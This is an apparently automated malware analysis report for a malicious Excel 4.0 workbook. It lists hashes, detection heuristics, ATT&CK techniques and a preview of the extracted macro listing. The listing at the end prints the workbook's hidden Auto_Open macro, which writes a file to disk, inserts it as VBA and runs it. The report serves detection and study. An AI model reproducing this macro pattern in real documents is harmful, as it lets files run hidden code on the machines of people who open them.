Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ea068c0cf68bae69…

MALICIOUS

Office (OLE)

267.5 KB Created: 2005-07-13 01:46:40 Authoring application: Microsoft Excel First seen: 2015-09-30
MD5: 991b53fecd1039a59eded21e936ce4b9 SHA-1: fd4ab32295c091256ec7e8cf2e4184957482c908 SHA-256: ea068c0cf68bae6931f0f6a002c4b25afa995c4f10c5904fca4776ae12c37142
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel document containing Excel 4.0 macros, indicated by the OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN heuristics. The Auto_Open macro is configured to execute dangerous functions, including the RUN function, which is commonly used to launch malicious payloads. The SC_STR_WSCRIPT heuristic further suggests the execution of script-based malware. The macro sheet itself contains obfuscated data that likely decodes to a payload URL or execution command.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 16554 bytes
SHA-256: bb711fb69c42996d9fcbe0be33917b7540a6a9a7da51ac4df6265c18a6740c09
Preview script
First 1,000 lines of the extracted script
' 0085     22 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  (m1)_(m2)_(m3
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0018     27 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00'
' 0018     29 LABEL : Cell Value, String Constant - Counter len=7 ptgRef3d  (m1)_(m2)_(m3!C82 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
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' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  (m1)_(m2)_(m3,A1,"FOPEN("c:\excel.txt",3)",""
'  (m1)_(m2)_(m3,A2,"FOR.CELL("Counter",R~0C~2,TRUE)",""
'  (m1)_(m2)_(m3,A3,A1,""
'  (m1)_(m2)_(m3,A4,NEXT(),""
'  (m1)_(m2)_(m3,A5,FCLOSE(A1),""
'  (m1)_(m2)_(m3,A6,VBA.INSERT.FILE("c:\excel.txt"),""
'  (m1)_(m2)_(m3,A7,"RUN("createcabfile",FALSE)",""
'  (m1)_(m2)_(m3,A8,RETURN(),""